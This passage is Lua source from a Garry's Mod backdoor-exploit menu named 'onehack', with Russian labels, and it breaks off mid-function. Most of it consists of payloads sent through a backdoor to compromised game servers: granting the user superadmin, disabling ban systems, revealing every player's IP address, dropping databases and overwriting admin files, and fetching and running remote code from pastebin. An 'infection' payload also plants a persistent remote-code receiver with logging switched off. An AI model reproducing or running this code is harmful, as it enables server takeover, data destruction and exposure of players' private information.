672 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
673 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
674 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
675 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
676
677 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
678 onehack.player_button_prev:SetText( "" )
679 onehack.player_button_prev:SetPos(5,95)
680 onehack.player_button_prev:SetSize(150,20)
681 function onehack.player_button_prev:Paint( w,h )
682 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
683 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
684 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
685 end
686
687 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
688 onehack.player_button_all:SetText( "" )
689 onehack.player_button_all:Dock( TOP )
690 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
691 function onehack.player_button_all:Paint( w,h )
692 if onehack.player_button_all:IsHovered() then
693 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
694 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
695 else
696 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
697 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
698 end
699 if onehack.selected_player == 0 then
700 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
701 else
702 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
703 end
704 end
705 function onehack.player_button_all:DoClick()
706 onehack.selected_player = 0
707 end
708
709 for k,v in pairs(player.GetAll()) do
710 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
711 onehack_player_button:SetText( "" )
712 onehack_player_button:Dock( TOP )
713 onehack_player_button:DockMargin( 0, 0, 0, 0 )
714 onehack_player_button.Paint = function( _, w, h )
715 if onehack_player_button:IsHovered() then
716 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
717 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
718 else
719 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
720 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
721 end
722 if onehack.selected_player == v then
723 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
724 else
725 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
726 end
727 end
728 function onehack_player_button:DoClick()
729 onehack.selected_player = v
730 end
731 end
732
733 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
734 onehack.backlistt_functions:SetPos(160,65)
735 onehack.backlistt_functions:SetSize(301,313)
736 function onehack.backlistt_functions:Paint( w,h )
737 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
738 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
739 end
740
741 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
742 onehack.backlistt_functionsss_list:Dock(FILL)
743 function onehack.backlistt_functionsss_list:Paint( w,h )
744 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
745 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
746 end
747 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
748 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
749 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
750 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
751 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
752
753 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
754 onehack.NetStart( onehack.selectedbackdoor )
755 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супе Г ом!\"); end" )
756 net.WriteBit(1)
757 onehack.SendToServak()
758 end)
759
760 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
761 onehack.NetStart( onehack.selectedbackdoor )
762 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
763 net.WriteBit(1)
764 onehack.SendToServak()
765 end)
766
767 onehack.AddFunction("Танцы", "cut", buttlistback, function()
768 onehack.NetStart( onehack.selectedbackdoor )
769 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
770 ]] )
771 net.WriteBit(1)
772 onehack.SendToServak()
773 end)
774
775 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
776 onehack.NetStart( onehack.selectedbackdoor )
777 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
778 net.WriteBit(1)
779 onehack.SendToServak()
780 end)
781
782 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
783 onehack.NetStart( onehack.selectedbackdoor )
784 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
785 net.WriteBit(1)
786 onehack.SendToServak()
787 end)
788
789 onehack.AddFunction("К утилика", "arrow_rotate_anticlockwise", buttlistback, function()
790 onehack.NetStart( onehack.selectedbackdoor )
791 onehack.NetWireString(
792 [[hook.Add( "Think", "#bone::manipulation#", function()
793 for k,v in pairs(player.GetAll()) do
794 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
795
796 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
797 end
798 end )]])
799 net.WriteBit(1)
800 onehack.SendToServak()
801 end)
802
803 onehack.AddFunction("Заб ать о ужия у всех", "controller_delete", buttlistback, function()
804 onehack.NetStart( onehack.selectedbackdoor )
805 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
806 net.WriteBit(1)
807 onehack.SendToServak()
808 end)
809
810 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
811 onehack.NetStart( onehack.selectedbackdoor )
812 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
813 net.WriteBit(1)
814 onehack.SendToServak()
815 end)
816
817 onehack.AddFunction("Выдать себе п ивилегию", "user_gray", buttlistback, function()
818 onehack.NetStart( onehack.selectedbackdoor )
819 net.WriteString( [[
820
821 local id = ]] .. LocalPlayer():UserID() .. [[
822
823 Player( id ):SetUserGroup( "superadmin" )
824
825 ]] )
826 net.WriteBit(1)
827 onehack.SendToServak()
828 end)
829
830 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
831 onehack.NetStart( onehack.selectedbackdoor )
832 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
833 net.WriteBit(1)
834 onehack.SendToServak()
835 end)
836
837 onehack.AddFunction("2D Модели", "font", buttlistback, function()
838 onehack.NetStart( onehack.selectedbackdoor )
839 onehack.NetWireString([[
840 for k,v in pairs(player.GetAll()) do
841 local a = v:LookupBone("ValveBiped.Bip01_Head1")
842 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
843 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
844 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
845 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
846 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
847 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
848 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
849 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
850 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
851 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
852
853 v:ManipulateBoneScale( a, Vector(4,0,4))
854 v:ManipulateBoneScale( b, Vector(0,0,0))
855 v:ManipulateBoneScale( c, Vector(0,0,0))
856 v:ManipulateBoneScale( d, Vector(0,0,1))
857 v:ManipulateBoneScale( e, Vector(0,0,1))
858 v:ManipulateBoneScale( f, Vector(0,0,0))
859 v:ManipulateBoneScale( g, Vector(0,0,0))
860 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
861 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
862 v:ManipulateBoneScale( j, Vector(0,0,0))
863 v:ManipulateBoneScale( k, Vector(0,0,0))
864 end]])
865 net.WriteBit(1)
866 onehack.SendToServak()
867 end)
868
869 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
870 onehack.NetStart( onehack.selectedbackdoor )
871 onehack.NetWireString([[
872 hook.Add("Think", "giant", function()
873 for k,v in pairs (player.GetAll()) do
874 v:SetModelScale(2.5, 100);
875 v:SetRunSpeed(400 * 2);
876 v:SetWalkSpeed(200 * 2);
877 end
878 end)]])
879 net.WriteBit(1)
880 onehack.SendToServak()
881 end)
882
883 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
884 onehack.NetStart( onehack.selectedbackdoor )
885 net.WriteString([[for k,p in pairs(player.GetAll()) do
886 p:ConCommand("say Я люблю Foer'a <3")
887 end
888 ]])
889 net.WriteBit(1)
890 net.SendToServer()
891 end)
892
893 onehack.AddFunction("Показать IP всех иг оков", "chart_organisation", buttlistback, function()
894 onehack.NetStart( onehack.selectedbackdoor )
895 onehack.NetWireString([[
896
897 local id = ]] .. LocalPlayer():UserID() .. [[
898
899 for k, v in pairs( player.GetAll() ) do
900
901 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
902
903 end
904
905 ]])
906 net.WriteBit(1)
907 onehack.SendToServak()
908 end)
909
910 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
911 onehack.NetStart( onehack.selectedbackdoor )
912 onehack.NetWireString([[
913 ULib.Ban = function() return false end
914 _G.FAdmin = function() end
915 ULib.addBan = function() return end
916
917 ULib.kick = function() return end
918 ]])
919 net.WriteBit(1)
920 onehack.SendToServak()
921 end)
922
923 onehack.AddFunction("Дискотека", "group", buttlistback, function()
924 onehack.NetStart( onehack.selectedbackdoor )
925 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
926 net.WriteBit(1)
927 onehack.SendToServak()
928 end)
929
930 onehack.AddFunction("Пломби овать", "server_link", buttlistback, function()
931 onehack.NetStart( onehack.selectedbackdoor )
932 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
933 net.WriteBit(1)
934 onehack.SendToServak()
935 end)
936
937 onehack.AddFunction(" азбанить всех", "database_edit", buttlistback, function()
938 onehack.NetStart( onehack.selectedbackdoor )
939 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
940 net.WriteBit(1)
941 onehack.SendToServak()
942 end)
943
944 onehack.AddFunction("Удалить все г уппы", "group_delete", buttlistback, function()
945 onehack.NetStart( onehack.selectedbackdoor )
946 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
947 net.WriteBit(1)
948 onehack.SendToServak()
949 end)
950
951 onehack.AddFunction("Сб осить деньги", "money_delete", buttlistback, function()
952 onehack.NetStart( onehack.selectedbackdoor )
953 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
954 net.WriteBit(1)
955 onehack.SendToServak()
956 end)
957
958 onehack.AddFunction("Очистить ка ту", "cut_red", buttlistback, function()
959 onehack.NetStart( onehack.selectedbackdoor )
960 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
961 net.WriteBit(1)
962 onehack.SendToServak()
963 end)
964
965 onehack.AddFunction("Изменить имя се ве а", "drive_rename", buttlistback, function()
966 onehack.NetStart( onehack.selectedbackdoor )
967 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
968 net.WriteBit(1)
969 onehack.SendToServak()
970 end)
971
972 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
973 onehack.NetStart( onehack.selectedbackdoor )
974 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за во овство, коде ы тоже люди и хотят есть! Они за абатывают на жизнь п одавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
975 net.WriteBit(1)
976 onehack.SendToServak()
977 end)
978
979 onehack.AddFunction("Отпе еть все две и", "door_open", buttlistback, function()
980 onehack.NetStart( onehack.selectedbackdoor )
981 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
982 net.WriteBit(1)
983 onehack.SendToServak()
984 end)
985
986 onehack.AddFunction("Отк ыть все две и на ка те", "door_open", buttlistback, function()
987 onehack.NetStart( onehack.selectedbackdoor )
988 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
989 net.WriteBit(1)
990 onehack.SendToServak()
991 end)
992
993 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
994 onehack.NetStart( onehack.selectedbackdoor )
995 onehack.NetWireString([[
996 local date = os.date( "%m-%d-%y" )
997 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
998 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
999 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1000
1001 for k,v in pairs(databases) do
1002 if sql.TableExists(v) then
1003 sql.Query("DROP TABLE "..v.." ;")
1004 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1005 end
1006 end
1007
1008 for k,v in pairs(datafiles) do
1009 if file.Exists(v) then
1010 file.Delete(v)
1011 file.write(v, "А вот нехуй было обманывать")
1012 end
1013 end
1014
1015 for k,v in pairs(sensitivefiles) do
1016 if file.Exists(v) then
1017 file.Delete(v)
1018 file.write(v, "А вот нехуй было обманывать")
1019 end
1020 end
1021 ]])
1022 net.WriteBit(1)
1023 onehack.SendToServak()
1024 end)
1025 --
1026 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1027 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1028 onehack.NetStart( onehack.selectedbackdoor )
1029 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1030 net.WriteBit(1)
1031 onehack.SendToServak()
1032 RunConsoleCommand("iseeyou")
1033 end)
1034 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1035 onehack.NetStart( onehack.selectedbackdoor )
1036 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1037 net.WriteBit(1)
1038 onehack.SendToServak()
1039 end)
1040
1041 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1042 onehack.NetStart( onehack.selectedbackdoor )
1043 onehack.NetWireString([[
1044 local config = ULib.fileRead( "data/ulx/config.txt" )
1045
1046 config = config.."\nulx logEcho 0"
1047
1048 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1049
1050 config = config.."\nulx logEcho 1"
1051
1052 ULib.fileWrite( "data/ulx/config.txt", config )
1053
1054 ]])
1055 net.WriteBit(1)
1056 onehack.SendToServak()
1057 end)
1058
1059 onehack.AddFunction("А магеддон", "bomb", buttlistback, function()
1060 onehack.NetStart( onehack.selectedbackdoor )
1061 onehack.NetWireString([[
1062 hook.Add("Think", "armageddon", function()
1063 local explode = ents.Create( "env_explosion" )
1064 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1065 explode:Spawn()
1066 explode:SetKeyValue( "iMagnitude", "500" )
1067 explode:Fire( "Explode", 0, 0 )
1068 end)
1069 ]])
1070 net.WriteBit(1)
1071 onehack.SendToServak()
1072 end)
1073
1074 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1075 onehack.NetStart( onehack.selectedbackdoor )
1076 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1077 net.WriteBit(1)
1078 onehack.SendToServak()
1079 end)
1080
1081 onehack.AddFunction("Сказать что се ве у пизда", "sound", buttlistback, function()
1082 onehack.NetStart( onehack.selectedbackdoor )
1083 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1084 net.WriteBit(1)
1085 net.SendToServer()
1086 end)
1087
1088 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1089 onehack.NetStart( onehack.selectedbackdoor )
1090 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Be Friend\")]])")
1091 net.WriteBit(1)
1092 net.SendToServer()
1093 end)
1094
1095 onehack.AddFunction("Музыка - П ивет, это к уто", "sound", buttlistback, function()
1096 onehack.NetStart( onehack.selectedbackdoor )
1097 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет это к уто\")]])")
1098 net.WriteBit(1)
1099 net.SendToServer()
1100 end)
1101
1102 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1103 onehack.NetStart( onehack.selectedbackdoor )
1104 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Somehere over\")]])")
1105 net.WriteBit(1)
1106 net.SendToServer()
1107 end)
1108
1109 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1110 onehack.NetStart( onehack.selectedbackdoor )
